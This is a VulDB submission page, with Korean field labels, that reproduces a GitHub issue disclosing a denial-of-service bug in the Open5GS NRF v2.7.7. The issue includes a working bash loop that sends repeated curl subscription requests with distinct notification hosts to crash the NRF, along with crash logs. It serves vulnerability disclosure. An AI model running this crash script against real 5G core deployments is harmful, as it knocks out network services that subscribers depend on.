| 제목 | Open5gs NRF v2.7.7 Denial of Service |
|---|
| 설명 | ### Open5GS Release, Revision, or Tag
v2.7.7
### Steps to reproduce
### Description
NRF aborts when repeated valid `POST /nnrf-nfm/v1/subscriptions` requests use
distinct `nfStatusNotificationUri` hosts and exhaust the fixed `client_pool`.
The subscription creation path accepts the request body, allocates
`subscription_data`, parses the notification URI, and then does:
```c
client = ogs_sbi_client_find(scheme, fqdn, fqdn_port, addr, addr6);
if (!client) {
client = ogs_sbi_client_add(scheme, fqdn, fqdn_port, addr, addr6);
ogs_assert(client);
}
```
`ogs_sbi_client_add()` returns `NULL` when `client_pool` is exhausted:
```c
ogs_pool_alloc(&client_pool, &client);
if (!client) {
ogs_error("No memory in client_pool");
return NULL;
}
```
Pool sizing makes this reachable before the already-known subscription pool
exhaustion case:
```c
ogs_app()->pool.nf = global_conf.max.peer;
ogs_app()->pool.subscription = ogs_app()->pool.nf * 16;
```
With default settings, `client_pool` is only `64`, while
`subscription_data_pool` is `1024`. An attacker can therefore crash NRF much
earlier simply by varying the notification host across otherwise valid
subscription requests.
### Root cause
- Entry route:
`POST /nnrf-nfm/v1/subscriptions`
- Exact crash site:
`../src/nrf/nnrf-handler.c:603`
- Helper failure:
`../lib/sbi/client.c:115-118`
- Pool sizing:
`../lib/app/ogs-config.c:79-84`
- Root cause family:
resource exhaustion leading to assertion abort
- Controlling factor:
number of distinct notification endpoints that require fresh SBI clients
### Steps to reproduce
1. Resolve the current NRF container IP and reset the container:
```bash
NRF_IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nrf)
docker restart nrf >/dev/null
sleep 2
echo "$NRF_IP"
```
2. Control case: same route and same body shape, but reuse a single
notification host for 70 requests. This should not crash NRF.
```bash
i=0
ok=0
while [ $i -lt 70 ]; do
i=$((i+1))
code=$(curl --http2-prior-knowledge -sS -o /dev/null -w '%{http_code}' -m 5 \
-X POST "http://$NRF_IP/nnrf-nfm/v1/subscriptions" \
-H 'content-type: application/json' \
--data '{"nfStatusNotificationUri":"http://notify-control.example.org:9999/cb","reqNfType":"AMF","subscrCond":{"nfType":"UDM"}}') || {
echo "fail_at=$i curl_error"
break
}
[ "$code" = "201" ] || {
echo "fail_at=$i http_code=$code"
break
}
ok=$i
done
echo "ok=$ok"
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.RestartCount}}' nrf
```
3. Malicious case: restart NRF, then vary only the notification host so each
request forces a fresh SBI client allocation.
```bash
docker restart nrf >/dev/null
sleep 2
start_ts=$(date -u +%Y-%m-%dT%H:%M:%SZ)
i=0
ok=0
while [ $i -lt 100 ]; do
i=$((i+1))
host=$(printf 'notify-%03d.example.org' "$i")
payload=$(printf \
'{"nfStatusNotificationUri":"http://%s:9999/cb","reqNfType":"AMF","subscrCond":{"nfType":"UDM"}}' \
"$host")
code=$(curl --http2-prior-knowledge -sS -o /dev/null -w '%{http_code}' -m 5 \
-X POST "http://$NRF_IP/nnrf-nfm/v1/subscriptions" \
-H 'content-type: application/json' \
--data "$payload") || {
echo "fail_at=$i curl_error"
break
}
[ "$code" = "201" ] || {
echo "fail_at=$i http_code=$code"
break
}
ok=$i
done
echo "ok=$ok"
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}} {{.RestartCount}}' nrf
docker logs --since "$start_ts" nrf 2>&1 | tail -n 12
```
### Logs
```shell
Control run:
ok=70
running 0 0
Malicious run:
curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream
fail_at=65 curl_error
ok=64
Container state after the crash:
exited 139 2026-04-12T06:13:46.384859466Z 0
NRF logs:
04/12 06:13:46.262: [nrf] INFO: Setup NF EndPoint(fqdn) [notify-064.example.org:9999] (../src/nrf/nnrf-handler.c:605)
04/12 06:13:46.262: [nrf] INFO: [c3949bf2-3636-41f1-9eed-dfb664711a2e] Subscription created until 2026-04-13T06:13:46.262674+00:00 [duration:86400000000,validity:86400.000000] (../src/nrf/nnrf-handler.c:633)
04/12 06:13:46.267: [sbi] ERROR: No memory in client_pool (../lib/sbi/client.c:117)
04/12 06:13:46.267: [nrf] FATAL: nrf_nnrf_handle_nf_status_subscribe: Assertion `client' failed. (../src/nrf/nnrf-handler.c:603)
04/12 06:13:46.267: [core] FATAL: backtrace() returned 8 addresses (../lib/core/ogs-abort.c:37)
```
### Expected behaviour
NRF should reject excessive unique notification endpoints with a normal HTTP error such as `429`, `503`, or `507`, and remain running.
### Observed Behaviour
The `65`th valid subscription request with a fresh notification host exhausts `client_pool` and terminates the NRF process with exit code `139`.
### eNodeB/gNodeB
Not required.
### UE Models and versions
Not required. |
|---|
| 원천 | ⚠️ https://github.com/open5gs/open5gs/issues/4464 |
|---|
| 사용자 | LinJu (UID 97503) |
|---|
| 제출 | 2026. 04. 20. PM 09:55 (1 월 ago) |
|---|
| 모더레이션 | 2026. 05. 16. PM 12:09 (26 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 364320 [Open5GS 까지 2.7.7 NRF /lib/sbi/client.c ogs_sbi_client_add client_pool 서비스 거부] |
|---|
| 포인트들 | 20 |
|---|